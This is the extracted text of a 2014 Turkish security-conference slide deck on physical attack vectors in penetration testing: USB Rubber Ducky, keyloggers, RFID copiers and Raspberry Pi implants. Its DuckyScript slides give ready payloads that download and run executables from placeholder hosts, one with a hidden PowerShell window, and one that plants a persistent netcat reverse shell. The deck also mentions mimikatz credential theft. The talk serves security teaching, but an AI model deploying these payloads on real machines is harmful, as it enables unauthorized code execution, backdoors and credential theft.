Sızma Testlerinde Fiziksel Güvenlik - Ozan Uçar #SiberGuvenlikKonferansi 14.05.14

Preview:

DESCRIPTION

Siber Güvenlik Konferansı'14 etkinliğinde Ozan Uçar tarafından gerçekleştirilen sunum dosyasıdır.

Citation preview

Sızma Testlerinde Fiziksel Güvenlik Riskleri

Siber Güvenlik Konferansı’14

Harbiye / İstanbul

Konuşmacı Hakkında Ozan UÇAR ●  Kıdemli Bilgi Güvenliği Danışmanı ●  Eğitmen BGA Bilgi Güvenliği AKADEMİSİ ozan.ucar@bga.com.tr http://twitter.com/ucarozan www.cehturkiye.com & blog.bga.com.tr

Sunumun Amacı Nedir / Ne Değildir. ●  Yazılımsal risklerin yanı sıra fiziksel güvenlik

zafiyetlerinin bizlere (ve sizlere) etkisini tartışmak.

●  Paranoyaklık yaratmak değildir. ●  Yeni şeyler öğrenmek, fikir üretmek. ●  Ve biraz eğlenmek :)

Fiziksel Etkileşimler ●  USB aygıtlar ile bilgi alış verişi ●  Klavye/Mouse kullanımları ●  Kablosuz ağ kullanımları ●  CD/DVD okuyuculara erişim ●  Datacenter’lardaki kabinler,raflar ●  Fiziksel erişime açık, aktif ağ cihazları

(router,switch,access point vb.)

Pratik Hayattan Fiziksel Riskler Gerçek hayatta pratik olarak karşılaşabileceğimiz fiziksel riskler;

➢ Programlanabilir USB Aygıtlar ➢ Sahte Kablosuz Ağlar ➢ RFC/NFC Yan Atak Saldırıları ➢ RFID Kopyalayıcılar ➢ Donanımsal Keyloggerlar ➢ Mini Donanımlar (Raspberry pi)

USB HID

USB HID

USB HID ●  USB Rubber Ducky klavye chipsetine sahip

programlanabilir konsept bir donanımdır. ●  Kolaylıkla programlanabilir USB Rubber Ducky aynı

zamanda içinde bulunan micro sd kart ile sisteme veri aktarabilme özelliğine de sahiptir.

USB HID / Hangi Sistemleri Etkiler ? USB portundan erişim kurduğunuz tüm sistemlerde, - Linux / Windows / Mac OS X işletimi sistemine sahip tüm bilgisayarlarda.

- Micro Usb Girişe Sahip Mobile Cihazlar (Android vb.) - Switch/Router gibi aktif ağ cihazları - Endüstriyel Sistemler

Neden İhtiyaç Duyarız ? ●  Komutarları sizden daha hızlı ve hatasız gönderir ●  Siz kurbanı oyalarken, o saldırı gerçekleştirir. ●  Çalışması zamanlanabilir (taktıkdan şu kadar süre

sonra, kurban sisteme giriş yaptığında çalış gibi gibi) ●  1 dakikadan az sürede hedefe ulaşabilirsiniz (sadece

hayal edip, uygulayın) ●  Autorun özelliğine ihtiyaç yok! ●  Antivirus, Sezgisel Antiloggerlar ve Firewall’lar ile hiç

sorunu yok.

USB HID / OS Attack Payloads ●  Program indirip kurma,çalıştırma. ●  Kullanıcı Oluşturma ●  Dosya yükleme, arama, indirme ●  Proxy in the Middle ●  DNS ayarlarını değiştirme

USB HID / OS Attack Payloads ●  Parola denemeleri ●  Yerel parola özetlerini elde etmek (LM/NTLM

Hash) ●  Aktif kullanıcı parolalarını almak (mimikatz) ●  Klavye kısa yolları ile hayal ettiğiniz herşey

Söz sizde ...

USB HID / Wifi Attack Payloads ●  Bilgisayarı kablosuz ağ üzerinen erişime

açma ●  Sahte bir kablosuz ağa bağlantı

USB HID / Wifi Attack Payloads ●  Proxy in the Middle

Uygulamalar / Android Cep telefonlarının casus yazılımlar ile uzaktan kontrolü

Demo: https://www.youtube.com/watch?v=lO6ddGSv_U0

Uygulamalar / Windows Windows Sistemlere Casus yazılım bulaştırma (Powershell aracılığı ile)

USB HID / Programlama (DucyScript) ●  USB Rubber Ducky nin programlanması için

kullanılan dile verilen isim DuckyScript’dir. ●  Herhangi bir text editörü ile yazılabilir.(nano, VI, gedit,

notepad vb.) ●  Basit bir sözdizimine sahiptir, tüm komutlar bir satırda

ve büyük harfler kullanılarak yazılmalıdır.

USB HID / Programlama (DucyScript) Windows Download & Execute DELAY 3000 GUI r DELAY 100 STRING powershell (new-object System.Net.WebClient).DownloadFile('http://site.com/aa.exe','%TEMP%\bb.exe'); DELAY 100 STRING Start-Process "%TEMP%\bb.exe" ENTER

Windows Test DELAY 3000 GUI R DELAY 500 STRING notepad DELAY 500 ENTER DELAY 750 STRING Merhaba Dunya!!! ENTER

Mac OS X Download & Execute DELAY 1000 COMMAND SPACE DELAY 800 STRING Terminal DELAY 500 ENTER DELAY 500 STRING curl http://www.site.com/script.py > file.py ENTER DELAY 1000 STRING python file.py ENTER

USB HID / Programlama (DucyScript) ●  Simple Duck Payload Generator

https://code.google.com/p/simple-ducky-payload-generator/

USB HID / Programlama (DucyScript) ●  Online Ducky Toolkit

http://www.ducktoolkit.com

Uygulamalar / Windows GUI r DELAY 100 STRING powershell -windowstyle hidden (new-object System.Net.WebClient).DownloadFile('http://89.95.238.x/b.txt','%TEMP%\ajan007.exe'); Start-Process "%TEMP%\winmgmt.exe"

ENTER

Uygulamalar / Windows

Uygulamalar / Mac OS X & Linux Mac OS X / Linux sistemlere kalıcı arka kapı bulaştırma.

Uygulamalar / Mac OS X & Linux CTRL-ALT T DELAY 400 ENTER DELAY 300 STRING touch .script.sh ENTER STRING echo nc -nv ipport -e /bin/bash > .script.sh ENTER STRING chmod +x .script.sh ENTER STRING ./.script.sh ; bg ENTER DELAY 200 CTRL z DELAY 400 STRING exit ENTER

Hardware Keylogger

●  Klavye girişlerini hafızasına kaydeder. ●  Kablosuz ağ üzerinden veri aktarma

özelliğine sahip modelleri vardır.

RFID Kart Çoğaltıcılar

Kullanım alanları; ●  Kapı vb. kimlik doğrulama durumlarında ●  Casino’lar ●  Bizim spor salonunun giriş turnikeleri :P ●  http://www.ebay.com/bhp/rfid-copier

Raspberry pi Mini bilgisayar ●  Yerel ağlara fiziksel erişimlerde kullanılır. ●  Wifi/3G destekler http://en.wikipedia.org/wiki/Raspberry_Pi

Raspberry pi Kullanım Alanları Fiziksel erişim kurulduğu durumlarda; Hedef olacak noktalar; ●  Yazılıcılar ●  Projeksiyon Cihazları ●  Switch

Raspberry pi Kullanım Alanları Fiziksel erişim kurulduğu durumlarda; Amaçlar; ●  802.1x kontrolleri vb. kontroller dummy

cihazlar için -genellikle- kapatılır, yerel ağa uzaktan tam erişim sağlamak için ideal yöntem.

Recommended